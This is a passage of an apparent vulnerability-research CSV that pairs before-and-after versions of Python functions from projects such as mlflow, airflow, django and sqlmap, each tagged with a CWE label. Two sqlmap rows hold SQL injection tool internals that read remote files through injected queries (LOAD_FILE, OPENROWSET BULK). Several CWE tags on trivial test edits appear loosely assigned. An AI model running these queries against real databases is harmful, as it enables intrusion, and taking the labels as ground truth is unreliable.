        config = {'dingding_conn_id': self.conn_id, 'message_type': 'actionCard', 'message': msg}
        expect = {'msgtype': 'actionCard', 'actionCard': msg}
        hook = DingdingHook(**config)
        message = hook._build_message()
        self.assertEqual(json.dumps(expect), message)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/sqlalchemy_store.py,0,"def __init__(self, db_uri, default_artifact_root):
        """"""
        Create a database backed store.

        :param db_uri: The SQLAlchemy database URI string to connect to the database. See
                       the `SQLAlchemy docs
                       <https://docs.sqlalchemy.org/en/latest/core/engines.html#database-urls>`_
                       for format specifications. Mlflow supports the dialects ``mysql``,
                       ``mssql``, ``sqlite``, and ``postgresql``.
        :param default_artifact_root: Path/URI to location suitable for large data (such as a blob
                                      store object, DBFS path, or shared NFS file system).
        """"""
        super().__init__()
        self.db_uri = db_uri
        self.db_type = extract_db_type_from_uri(db_uri)
        self.artifact_root_uri = default_artifact_root
        # Quick check to see if the respective SQLAlchemy database engine has already been created.
        if db_uri not in SqlAlchemyStore._db_uri_sql_alchemy_engine_map:
            with SqlAlchemyStore._db_uri_sql_alchemy_engine_map_lock:
                # Repeat check to prevent race conditions where one thread checks for an existing
                # engine while another is creating the respective one, resulting in multiple
                # engines being created. It isn't combined with the above check to prevent
                # inefficiency from multiple threads waiting for the lock to check for engine
                # existence if it has already been created.
                if db_uri not in SqlAlchemyStore._db_uri_sql_alchemy_engine_map:
                    SqlAlchemyStore._db_uri_sql_alchemy_engine_map[
                        db_uri
                    ] = mlflow.store.db.utils.create_sqlalchemy_engine_with_retry(db_uri)
        self.engine = SqlAlchemyStore._db_uri_sql_alchemy_engine_map[db_uri]
        # On a completely fresh MLflow installation against an empty database (verify database
        # emptiness by checking that 'experiments' etc aren't in the list of table names), run all
        # DB migrations
        if not mlflow.store.db.utils._all_tables_exist(self.engine):
            mlflow.store.db.utils._initialize_tables(self.engine)
        Base.metadata.bind = self.engine
        SessionMaker = sqlalchemy.orm.sessionmaker(bind=self.engine)
        self.ManagedSessionMaker = mlflow.store.db.utils._get_managed_session_maker(
            SessionMaker, self.db_type
        )
        mlflow.store.db.utils._verify_schema(self.engine)

        if is_local_uri(default_artifact_root):
            mkdir(local_file_uri_to_path(default_artifact_root))

        if len(self.search_experiments(view_type=ViewType.ALL)) == 0:
            with self.ManagedSessionMaker() as session:
                self._create_default_experiment(session)",,mlflow/mlflow,66c320a1208dab73044261d5448a1a3ebf665a44,"def __init__(self, db_uri, default_artifact_root):
        """"""
        Create a database backed store.

        :param db_uri: The SQLAlchemy database URI string to connect to the database. See
                       the `SQLAlchemy docs
                       <https://docs.sqlalchemy.org/en/latest/core/engines.html#database-urls>`_
                       for format specifications. Mlflow supports the dialects ``mysql``,
                       ``mssql``, ``sqlite``, and ``postgresql``.
        :param default_artifact_root: Path/URI to location suitable for large data (such as a blob
                                      store object, DBFS path, or shared NFS file system).
        """"""
        super().__init__()
        self.db_uri = db_uri
        self.db_type = extract_db_type_from_uri(db_uri)
        self.artifact_root_uri = default_artifact_root
        # Quick check to see if the respective SQLAlchemy database engine has already been created.
        if db_uri not in SqlAlchemyStore._db_uri_sql_alchemy_engine_map:
            with SqlAlchemyStore._db_uri_sql_alchemy_engine_map_lock:
                # Repeat check to prevent race conditions where one thread checks for an existing
                # engine while another is creating the respective one, resulting in multiple
                # engines being created. It isn't combined with the above check to prevent
                # inefficiency from multiple threads waiting for the lock to check for engine
                # existence if it has already been created.
                if db_uri not in SqlAlchemyStore._db_uri_sql_alchemy_engine_map:
                    SqlAlchemyStore._db_uri_sql_alchemy_engine_map[
                        db_uri
                    ] = mlflow.store.db.utils.create_sqlalchemy_engine_with_retry(db_uri)
        self.engine = SqlAlchemyStore._db_uri_sql_alchemy_engine_map[db_uri]
        # On a completely fresh MLflow installation against an empty database (verify database
        # emptiness by checking that 'experiments' etc aren't in the list of table names), run all
        # DB migrations
        expected_tables = [
            SqlExperiment.__tablename__,
            SqlRun.__tablename__,
            SqlMetric.__tablename__,
            SqlParam.__tablename__,
            SqlTag.__tablename__,
            SqlExperimentTag.__tablename__,
            SqlLatestMetric.__tablename__,
        ]
        inspected_tables = set(sqlalchemy.inspect(self.engine).get_table_names())
        if any(table not in inspected_tables for table in expected_tables):
            mlflow.store.db.utils._initialize_tables(self.engine)
        Base.metadata.bind = self.engine
        SessionMaker = sqlalchemy.orm.sessionmaker(bind=self.engine)
        self.ManagedSessionMaker = mlflow.store.db.utils._get_managed_session_maker(
            SessionMaker, self.db_type
        )
        mlflow.store.db.utils._verify_schema(self.engine)

        if is_local_uri(default_artifact_root):
            mkdir(local_file_uri_to_path(default_artifact_root))

        if len(self.search_experiments(view_type=ViewType.ALL)) == 0:
            with self.ManagedSessionMaker() as session:
                self._create_default_experiment(session)"
,UNKNOWN,UNKNOWN,tests/server/test_handlers.py,1,"def test_create_model_version(mock_get_request_message, mock_model_registry_store):
    run_id = uuid.uuid4().hex
    tags = [
        ModelVersionTag(key=""key"", value=""value""),
        ModelVersionTag(key=""anotherKey"", value=""some other value""),
    ]
    run_link = ""localhost:5000/path/to/run""
    mock_get_request_message.return_value = CreateModelVersion(
        name=""model_1"",
        source=f""runs:/{run_id}"",
        run_id=run_id,
        run_link=run_link,
        tags=[tag.to_proto() for tag in tags],
    )
    mv = ModelVersion(
        name=""model_1"", version=""12"", creation_timestamp=123, tags=tags, run_link=run_link
    )
    mock_model_registry_store.create_model_version.return_value = mv
    resp = _create_model_version()
    _, args = mock_model_registry_store.create_model_version.call_args
    assert args[""name""] == ""model_1""
    assert args[""source""] == f""runs:/{run_id}""
    assert args[""run_id""] == run_id
    assert {tag.key: tag.value for tag in args[""tags""]} == {tag.key: tag.value for tag in tags}
    assert args[""run_link""] == run_link
    assert json.loads(resp.get_data()) == {""model_version"": jsonify(mv)}",CWE-703,mlflow/mlflow,d622ee7b49152a2b77507c43b401ab7fdeeba27f,"def test_create_model_version(mock_get_request_message, mock_model_registry_store):
    run_id = uuid.uuid4().hex
    tags = [
        ModelVersionTag(key=""key"", value=""value""),
        ModelVersionTag(key=""anotherKey"", value=""some other value""),
    ]
    run_link = ""localhost:5000/path/to/run""
    mock_get_request_message.return_value = CreateModelVersion(
        name=""model_1"",
        source=""A/B"",
        run_id=run_id,
        run_link=run_link,
        tags=[tag.to_proto() for tag in tags],
    )
    mv = ModelVersion(
        name=""model_1"", version=""12"", creation_timestamp=123, tags=tags, run_link=run_link
    )
    mock_model_registry_store.create_model_version.return_value = mv
    resp = _create_model_version()
    _, args = mock_model_registry_store.create_model_version.call_args
    assert args[""name""] == ""model_1""
    assert args[""source""] == ""A/B""
    assert args[""run_id""] == run_id
    assert {tag.key: tag.value for tag in args[""tags""]} == {tag.key: tag.value for tag in tags}
    assert args[""run_link""] == run_link
    assert json.loads(resp.get_data()) == {""model_version"": jsonify(mv)}"
,UNKNOWN,UNKNOWN,task_sdk/tests/execution_time/test_task_runner.py,1,"def test_get_context_without_ti_context_from_server(self, mocked_parse, make_ti_context):
        """"""Test get_template_context without ti_context_from_server.""""""

        task = BaseOperator(task_id=""hello"")
        dag_id = ""basic_task""

        # Assign task to DAG
        get_inline_dag(dag_id=dag_id, task=task)

        ti_id = uuid7()
        ti = TaskInstance(id=ti_id, task_id=task.task_id, dag_id=dag_id, run_id=""test_run"", try_number=1)

        # Keep the context empty
        runtime_ti = RuntimeTaskInstance.model_construct(
            **ti.model_dump(exclude_unset=True), task=task, _ti_context_from_server=None
        )
        context = runtime_ti.get_template_context()

        # Verify the context keys and values
        assert context == {
            ""var"": {
                ""json"": VariableAccessor(deserialize_json=True),
                ""value"": VariableAccessor(deserialize_json=False),
            },
            ""conn"": ConnectionAccessor(),
            ""dag"": runtime_ti.task.dag,
            ""inlets"": task.inlets,
            ""macros"": MacrosAccessor(),
            ""map_index_template"": task.map_index_template,
            ""outlet_events"": OutletEventAccessors(),
            ""outlets"": task.outlets,
            ""run_id"": ""test_run"",
            ""task"": task,
            ""task_instance"": runtime_ti,
            ""ti"": runtime_ti,
        }",CWE-703,apache/airflow,2193be2a5e53760ae00d1b85c825087e995f8eb1,"def test_get_context_without_ti_context_from_server(self, mocked_parse, make_ti_context):
        """"""Test get_template_context without ti_context_from_server.""""""

        task = BaseOperator(task_id=""hello"")
        dag_id = ""basic_task""

        # Assign task to DAG
        get_inline_dag(dag_id=dag_id, task=task)

        ti_id = uuid7()
        ti = TaskInstance(id=ti_id, task_id=task.task_id, dag_id=dag_id, run_id=""test_run"", try_number=1)

        # Keep the context empty
        runtime_ti = RuntimeTaskInstance.model_construct(
            **ti.model_dump(exclude_unset=True), task=task, _ti_context_from_server=None
        )
        context = runtime_ti.get_template_context()

        # Verify the context keys and values
        assert context == {
            ""var"": {
                ""json"": VariableAccessor(deserialize_json=True),
                ""value"": VariableAccessor(deserialize_json=False),
            },
            ""conn"": ConnectionAccessor(),
            ""dag"": runtime_ti.task.dag,
            ""expanded_ti_count"": None,
            ""inlets"": task.inlets,
            ""macros"": MacrosAccessor(),
            ""map_index_template"": task.map_index_template,
            ""outlet_events"": OutletEventAccessors(),
            ""outlets"": task.outlets,
            ""run_id"": ""test_run"",
            ""task"": task,
            ""task_instance"": runtime_ti,
            ""ti"": runtime_ti,
        }"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpserver_test.py,0,"def test_malformed_first_line_log(self):
        with ExpectLog(gen_log, '.*Malformed HTTP request line'):
            self.stream.write(b'asdf\r\n\r\n')
            # TODO: need an async version of ExpectLog so we don't need
            # hard-coded timeouts here.
            self.io_loop.add_timeout(datetime.timedelta(seconds=0.05),
                                     self.stop)
            self.wait()",CWE-Unknown,tornadoweb/tornado,62e43f6b22e7b0bba1e37c2857396b439271ceb2,"def test_malformed_first_line_log(self):
        with ExpectLog(gen_log, '.*Malformed HTTP request line'):
            self.stream.write(b'asdf\r\n\r\n')
            # TODO: need an async version of ExpectLog so we don't need
            # hard-coded timeouts here.
            self.io_loop.add_timeout(datetime.timedelta(seconds=0.05),
                                     self.stop)
            self.wait()"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_functional.py,0,"def check_example(self, example_script, info=0, warn=0, error=0):
        '''A helper method to test the scores for example scripts.

        :param example_script: Filename of an example script to test
        :param info: The expected number of INFO-level issues to find
        :param warn: The expected number of WARN-level issues to find
        :param error: The expected number of ERROR-level issues to find
        '''
        path = os.path.join(os.getcwd(), 'examples', example_script)
        self.b_mgr.discover_files([path], True)
        self.b_mgr.run_tests()
        expected = sum([info * C.SEVERITY_VALUES['INFO'],
                        warn * C.SEVERITY_VALUES['WARN'],
                        error * C.SEVERITY_VALUES['ERROR']])
        self.assertEqual(expected, sum(self.b_mgr.scores[0]))",UNKNOWN,PyCQA/bandit,1214076c48cf3f60edb8bb0664e4406df19fb4fc,"def check_example(self, example_script, info=0, warn=0, error=0):
        '''A helper method to test the scores for example scripts.

        :param example_script: Filename of an example script to test
        :param info: The expected number of INFO-level issues to find
        :param warn: The expected number of WARN-level issues to find
        :param error: The expected number of ERROR-level issues to find
        '''
        path = os.path.join(os.getcwd(), 'examples', example_script)
        self.b_mgr.discover_files([path], True)
        self.b_mgr.run_tests()
        expected = (info * C.SEVERITY_VALUES['INFO'] +
                    warn * C.SEVERITY_VALUES['WARN'] +
                    error * C.SEVERITY_VALUES['ERROR'])
        self.assertEqual(expected, self.b_mgr.scores[0])"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/filesystem.py,0,"def _checkFileLength(self, localFile, remoteFile, fileRead=False):
        if Backend.isDbms(DBMS.MYSQL):
            lengthQuery = ""SELECT LENGTH(LOAD_FILE('%s'))"" % remoteFile

        elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
            lengthQuery = ""SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d"" % self.oid

        elif Backend.isDbms(DBMS.MSSQL):
            self.createSupportTbl(self.fileTblName, self.tblField, ""VARBINARY(MAX)"")
            inject.goStacked(""INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)"" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField));

            lengthQuery = ""SELECT DATALENGTH(%s) FROM %s"" % (self.tblField, self.fileTblName)

        localFileSize = os.path.getsize(localFile)

        if fileRead and Backend.isDbms(DBMS.PGSQL):
            logger.info(""length of read file %s cannot be checked on PostgreSQL"" % remoteFile)
            sameFile = True
        else:
            logger.debug(""checking the length of the remote file %s"" % remoteFile)
            remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
            sameFile = None

            if isNumPosStrValue(remoteFileSize):
                remoteFileSize = long(remoteFileSize)
                sameFile = False

                if localFileSize == remoteFileSize:
                    sameFile = True
                    infoMsg = ""the local file %s and the remote file "" % localFile
                    infoMsg += ""%s have the same size"" % remoteFile
                elif remoteFileSize > localFileSize:
                    infoMsg = ""the remote file %s is larger than "" % remoteFile
                    infoMsg += ""the local file %s"" % localFile
                else:
                    infoMsg = ""the remote file %s is smaller than "" % remoteFile
                    infoMsg += ""file '%s' (%d bytes)"" % (localFile, localFileSize)

                logger.info(infoMsg)
            else:
                sameFile = False
                warnMsg = ""it looks like the file has not been written, this ""
                warnMsg += ""can occur if the DBMS process' user has no write ""
                warnMsg += ""privileges in the destination path""
                logger.warn(warnMsg)

        return sameFile",,sqlmapproject/sqlmap,e835a2af9ad99e280cc050c13ebde8f88c1c8c57,"def _checkFileLength(self, localFile, remoteFile, fileRead=False):
        if Backend.isDbms(DBMS.MYSQL):
            lengthQuery = ""SELECT LENGTH(LOAD_FILE('%s'))"" % remoteFile

        elif Backend.isDbms(DBMS.PGSQL):
                lengthQuery = ""SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d"" % self.oid

        elif Backend.isDbms(DBMS.MSSQL):
            self.createSupportTbl(self.fileTblName, self.tblField, ""VARBINARY(MAX)"")
            inject.goStacked(""INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)"" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField));

            lengthQuery = ""SELECT DATALENGTH(%s) FROM %s"" % (self.tblField, self.fileTblName)

        localFileSize = os.path.getsize(localFile)

        if fileRead and Backend.isDbms(DBMS.PGSQL):
            logger.info(""length of read file %s cannot be checked on PostgreSQL"" % remoteFile)
            sameFile = True
        else:
            logger.debug(""checking the length of the remote file %s"" % remoteFile)
            remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
            sameFile = None

            if isNumPosStrValue(remoteFileSize):
                remoteFileSize = long(remoteFileSize)
                sameFile = False

                if localFileSize == remoteFileSize:
                    sameFile = True
                    infoMsg = ""the local file %s and the remote file "" % localFile
                    infoMsg += ""%s have the same size"" % remoteFile
                elif remoteFileSize > localFileSize:
                    infoMsg = ""the remote file %s is larger than "" % remoteFile
                    infoMsg += ""the local file %s"" % localFile
                else:
                    infoMsg = ""the remote file %s is smaller than "" % remoteFile
                    infoMsg += ""file '%s' (%d bytes)"" % (localFile, localFileSize)

                logger.info(infoMsg)
            else:
                sameFile = False
                warnMsg = ""it looks like the file has not been written, this ""
                warnMsg += ""can occur if the DBMS process' user has no write ""
                warnMsg += ""privileges in the destination path""
                logger.warn(warnMsg)

        return sameFile"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/option.py,0,"def _setTamperingFunctions():
    """"""
    Loads tampering functions from given script(s)
    """"""

    if conf.tamper:
        last_priority = PRIORITY.HIGHEST
        check_priority = True
        resolve_priorities = False
        priorities = []

        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
            found = False

            path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH)
            script = safeFilepathEncode(script.strip())

            try:
                if not script:
                    continue

                elif os.path.exists(os.path.join(path, script if script.endswith("".py"") else ""%s.py"" % script)):
                    script = os.path.join(path, script if script.endswith("".py"") else ""%s.py"" % script)

                elif not os.path.exists(script):
                    errMsg = ""tamper script '%s' does not exist"" % script
                    raise SqlmapFilePathException(errMsg)

                elif not script.endswith("".py""):
                    errMsg = ""tamper script '%s' should have an extension '.py'"" % script
                    raise SqlmapSyntaxException(errMsg)
            except UnicodeDecodeError:
                errMsg = ""invalid character provided in option '--tamper'""
                raise SqlmapSyntaxException(errMsg)

            dirname, filename = os.path.split(script)
            dirname = os.path.abspath(dirname)

            infoMsg = ""loading tamper module '%s'"" % filename[:-3]
            logger.info(infoMsg)

            if not os.path.exists(os.path.join(dirname, ""__init__.py"")):
                errMsg = ""make sure that there is an empty file '__init__.py' ""
                errMsg += ""inside of tamper scripts directory '%s'"" % dirname
                raise SqlmapGenericException(errMsg)

            if dirname not in sys.path:
                sys.path.insert(0, dirname)

            try:
                module = __import__(safeFilepathEncode(filename[:-3]))
            except Exception as ex:
                raise SqlmapSyntaxException(""cannot import tamper module '%s' (%s)"" % (getUnicode(filename[:-3]), getSafeExString(ex)))

            priority = PRIORITY.NORMAL if not hasattr(module, ""__priority__"") else module.__priority__

            for name, function in inspect.getmembers(module, inspect.isfunction):
                if name == ""tamper"" and (hasattr(inspect, ""signature"") and all(_ in inspect.signature(function).parameters for _ in (""payload"", ""kwargs"")) or hasattr(inspect, ""getargspec"") and inspect.getargspec(function).args and inspect.getargspec(function).keywords == ""kwargs""):
                    found = True
                    kb.tamperFunctions.append(function)
                    function.__name__ = module.__name__

                    if check_priority and priority > last_priority:
                        message = ""it appears that you might have mixed ""
                        message += ""the order of tamper scripts. ""
                        message += ""Do you want to auto resolve this? [Y/n/q] ""
                        choice = readInput(message, default='Y').upper()

                        if choice == 'N':
                            resolve_priorities = False
                        elif choice == 'Q':
                            raise SqlmapUserQuitException
                        else:
                            resolve_priorities = True

                        check_priority = False

                    priorities.append((priority, function))
                    last_priority = priority

                    break
                elif name == ""dependencies"":
                    try:
                        function()
                    except Exception as ex:
                        errMsg = ""error occurred while checking dependencies ""
                        errMsg += ""for tamper module '%s' ('%s')"" % (getUnicode(filename[:-3]), getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)

            if not found:
                errMsg = ""missing function 'tamper(payload, **kwargs)' ""
                errMsg += ""in tamper script '%s'"" % script
                raise SqlmapGenericException(errMsg)

        if kb.tamperFunctions and len(kb.tamperFunctions) > 3:
            warnMsg = ""using too many tamper scripts is usually not ""
            warnMsg += ""a good idea""
            logger.warning(warnMsg)

        if resolve_priorities and priorities:
            priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True)
            kb.tamperFunctions = []

            for _, function in priorities:
                kb.tamperFunctions.append(function)",,sqlmapproject/sqlmap,1d8643db09babbb48060508312b96ffd67e2af56,"def _setTamperingFunctions():
    """"""
    Loads tampering functions from given script(s)
    """"""

    if conf.tamper:
        last_priority = PRIORITY.HIGHEST
        check_priority = True
        resolve_priorities = False
        priorities = []

        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
            found = False

            path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH)
            script = safeFilepathEncode(script.strip())

            try:
                if not script:
                    continue

                elif os.path.exists(os.path.join(path, script if script.endswith("".py"") else ""%s.py"" % script)):
                    script = os.path.join(path, script if script.endswith("".py"") else ""%s.py"" % script)

                elif not os.path.exists(script):
                    errMsg = ""tamper script '%s' does not exist"" % script
                    raise SqlmapFilePathException(errMsg)

                elif not script.endswith("".py""):
                    errMsg = ""tamper script '%s' should have an extension '.py'"" % script
                    raise SqlmapSyntaxException(errMsg)
            except UnicodeDecodeError:
                errMsg = ""invalid character provided in option '--tamper'""
                raise SqlmapSyntaxException(errMsg)

            dirname, filename = os.path.split(script)
            dirname = os.path.abspath(dirname)

            infoMsg = ""loading tamper module '%s'"" % filename[:-3]
            logger.info(infoMsg)

            if not os.path.exists(os.path.join(dirname, ""__init__.py"")):
                errMsg = ""make sure that there is an empty file '__init__.py' ""
                errMsg += ""inside of tamper scripts directory '%s'"" % dirname
                raise SqlmapGenericException(errMsg)

            if dirname not in sys.path:
                sys.path.insert(0, dirname)

            try:
                module = __import__(safeFilepathEncode(filename[:-3]))
            except Exception as ex:
                raise SqlmapSyntaxException(""cannot import tamper module '%s' (%s)"" % (getUnicode(filename[:-3]), getSafeExString(ex)))

            priority = PRIORITY.NORMAL if not hasattr(module, ""__priority__"") else module.__priority__

            for name, function in inspect.getmembers(module, inspect.isfunction):
                if name == ""tamper"" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == ""kwargs"":
                    found = True
                    kb.tamperFunctions.append(function)
                    function.__name__ = module.__name__

                    if check_priority and priority > last_priority:
                        message = ""it appears that you might have mixed ""
                        message += ""the order of tamper scripts. ""
                        message += ""Do you want to auto resolve this? [Y/n/q] ""
                        choice = readInput(message, default='Y').upper()

                        if choice == 'N':
                            resolve_priorities = False
                        elif choice == 'Q':
                            raise SqlmapUserQuitException
                        else:
                            resolve_priorities = True

                        check_priority = False

                    priorities.append((priority, function))
                    last_priority = priority

                    break
                elif name == ""dependencies"":
                    try:
                        function()
                    except Exception as ex:
                        errMsg = ""error occurred while checking dependencies ""
                        errMsg += ""for tamper module '%s' ('%s')"" % (getUnicode(filename[:-3]), getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)

            if not found:
                errMsg = ""missing function 'tamper(payload, **kwargs)' ""
                errMsg += ""in tamper script '%s'"" % script
                raise SqlmapGenericException(errMsg)

        if kb.tamperFunctions and len(kb.tamperFunctions) > 3:
            warnMsg = ""using too many tamper scripts is usually not ""
            warnMsg += ""a good idea""
            logger.warning(warnMsg)

        if resolve_priorities and priorities:
            priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True)
            kb.tamperFunctions = []

            for _, function in priorities:
                kb.tamperFunctions.append(function)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unmanaged_models/tests.py,0,"def test_many_to_many_between_unmanaged(self):
        """"""
        The intermediary table between two unmanaged models should not be created.
        """"""
        table = Unmanaged2._meta.get_field('mm').m2m_db_table()
        tables = connection.introspection.table_names()
        self.assertNotIn(table, tables, ""Table '%s' should not exist, but it does."" % table)",CWE-Unknown,django/django,f7969b0920c403118656f6bfec58d6454d79ef1a,"def test_many_to_many_between_unmanaged(self):
        """"""
        The intermediary table between two unmanaged models should not be created.
        """"""
        table = Unmanaged2._meta.get_field('mm').m2m_db_table()
        tables = connection.introspection.table_names()
        self.assertTrue(table not in tables, ""Table '%s' should not exist, but it does."" % table)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/checks.py,0,"def _check_autocomplete_fields_item(self, obj, model, field_name, label):
        """"""
        Check that an item in `autocomplete_fields` is a ForeignKey or a
        ManyToManyField and that the item has a related ModelAdmin with
        search_fields defined.
        """"""
        try:
            field = model._meta.get_field(field_name)
        except FieldDoesNotExist:
            return refer_to_missing_field(field=field_name, option=label, model=model, obj=obj, id='admin.E037')
        else:
            if not field.many_to_many and not isinstance(field, models.ForeignKey):
                return must_be(
                    'a foreign key or a many-to-many field',
                    option=label, obj=obj, id='admin.E038'
                )
            related_admin = obj.admin_site._registry.get(field.remote_field.model)
            if related_admin is None:
                return [
                    checks.Error(
                        'An admin for model ""%s"" has to be registered '
                        'to be referenced by %s.autocomplete_fields.' % (
                            field.remote_field.model.__name__,
                            type(obj).__name__,
                        ),
                        obj=obj.__class__,
                        id='admin.E039',
                    )
                ]
            elif not related_admin.search_fields:
                return [
                    checks.Error(
                        '%s must define ""search_fields"", because it\'s '
                        'referenced by %s.autocomplete_fields.' % (
                            related_admin.__class__.__name__,
                            type(obj).__name__,
                        ),
                        obj=obj.__class__,
                        id='admin.E040',
                    )
                ]
            return []",CWE-Unknown,django/django,30a389bd7795016d7f48bcda997e5dea5116f9bb,"def _check_autocomplete_fields_item(self, obj, model, field_name, label):
        """"""
        Check that an item in `autocomplete_fields` is a ForeignKey or a
        ManyToManyField and that the item has a related ModelAdmin with
        search_fields defined.
        """"""
        try:
            field = model._meta.get_field(field_name)
        except FieldDoesNotExist:
            return refer_to_missing_field(field=field_name, option=label, model=model, obj=obj, id='admin.E037')
        else:
            if not (field.many_to_many or field.many_to_one):
                return must_be(
                    'a foreign key or a many-to-many field',
                    option=label, obj=obj, id='admin.E038'
                )
            related_admin = obj.admin_site._registry.get(field.remote_field.model)
            if related_admin is None:
                return [
                    checks.Error(
                        'An admin for model ""%s"" has to be registered '
                        'to be referenced by %s.autocomplete_fields.' % (
                            field.remote_field.model.__name__,
                            type(obj).__name__,
                        ),
                        obj=obj.__class__,
                        id='admin.E039',
                    )
                ]
            elif not related_admin.search_fields:
                return [
                    checks.Error(
                        '%s must define ""search_fields"", because it\'s '
                        'referenced by %s.autocomplete_fields.' % (
                            related_admin.__class__.__name__,
                            type(obj).__name__,
                        ),
                        obj=obj.__class__,
                        id='admin.E040',
                    )
                ]
            return []"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py,0,"def is_authorized_view(
        self,
        *,
        access_view: AccessView,
        user: BaseUser | None = None,
    ) -> bool:
        return self.avp_facade.is_authorized(
            method=""GET"",
            entity_type=AvpEntities.VIEW,
            user=user or self.get_user(),
            entity_id=access_view.value,
        )",CWE-Unknown,apache/airflow,f7a2f6032544defa8a00d1f7fa90e91d27eb3a8e,"def is_authorized_view(
        self,
        *,
        access_view: AccessView,
        user: BaseUser | None = None,
    ) -> bool:
        return self.avp_facade.is_authorized(
            method=""GET"",
            entity_type=AvpEntities.VIEW,
            user=user or self.get_user(),
            entity_id=access_view.value,
        )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/packaging/os/dnf.py,0,"def _ensure_dnf(module):
    if not HAS_DNF:
        if PY2:
            package = 'python2-dnf'
        else:
            package = 'python3-dnf'

        if module.check_mode:
            module.fail_json(msg=""`{0}` is not installed, but it is required""
                             ""for the Ansible dnf module."".format(package))

        module.run_command(['dnf', 'install', '-y', package], check_rc=True)
        global dnf
        try:
            import dnf
            import dnf.cli
            import dnf.const
            import dnf.exceptions
            import dnf.subject
            import dnf.util
        except ImportError:
            module.fail_json(msg=""Could not import the dnf python module. ""
                                 ""Please install `{0}` package."".format(package))",,ansible/ansible,d16fe5bef3ae63c4eaf6395845bd7bec5caaea3c,"def _ensure_dnf(module):
    if not HAS_DNF:
        if PY2:
            package = 'python2-dnf'
        else:
            package = 'python3-dnf'

        if module.check_mode:
            module.fail_json(msg=""`{0}` is not installed, but it is required""
                    "" for the Ansible dnf module."".format(package))

        module.run_command(['dnf', 'install', '-y', package], check_rc=True)
        global dnf
        try:
            import dnf
            import dnf.cli
            import dnf.const
            import dnf.exceptions
            import dnf.subject
            import dnf.util
        except ImportError:
            module.fail_json(msg=""Could not import the dnf python module.""
                    "" Please install `{0}` package."".format(package))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/modules/test_genesis.py,0,"def test_bootstrap(self):
        '''
        Test for Create an image for a specific platform.
        '''
        mock = MagicMock(return_value=False)
        with patch.dict(genesis.__salt__, {'file.directory_exists': mock}):
            mock = MagicMock(side_effect=Exception('foo'))
            with patch.dict(genesis.__salt__, {'file.mkdir': mock}):
                self.assertEqual(genesis.bootstrap('platform', 'root'),
                                 {'Error': ""Exception('foo',)""})

        with patch.object(genesis, '_bootstrap_yum', return_value='A'):
            with patch.dict(genesis.__salt__, {'mount.umount': MagicMock(),
                                               'file.rmdir': MagicMock(),
                                               'file.directory_exists': MagicMock()}):
                with patch.dict(genesis.__salt__, {'disk.blkid': MagicMock(return_value={})}):
                    self.assertEqual(genesis.bootstrap('rpm', 'root', 'dir'), None)

        common_parms = {'platform': 'deb',
                        'root': 'root',
                        'img_format': 'dir',
                        'arch': 'amd64',
                        'flavor': 'stable',
                        'static_qemu': 'qemu'}

        param_sets = [

            {'params': {},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

            {'params': {'pkgs': 'vim'},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     '--include', 'vim',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

            {'params': {'pkgs': 'vim,emacs'},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     '--include', 'vim,emacs',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

            {'params': {'pkgs': ['vim', 'emacs']},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     '--include', 'vim,emacs',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

            {'params': {'pkgs': ['vim', 'emacs'], 'exclude_pkgs': ['vim', 'foo']},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     '--include', 'vim,emacs', '--exclude', 'vim,foo',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

        ]

        for param_set in param_sets:

            with patch.dict(genesis.__salt__, {'mount.umount': MagicMock(),
                                               'file.rmdir': MagicMock(),
                                               'file.directory_exists': MagicMock(),
                                               'cmd.run': MagicMock(),
                                               'disk.blkid': MagicMock(return_value={})}):
                with patch('salt.modules.genesis.salt.utils.which', return_value=True):
                    with patch('salt.modules.genesis.salt.utils.validate.path.is_executable',
                               return_value=True):
                        param_set['params'].update(common_parms)
                        self.assertEqual(genesis.bootstrap(**param_set['params']), None)
                        genesis.__salt__['cmd.run'].assert_any_call(param_set['cmd'], python_shell=False)

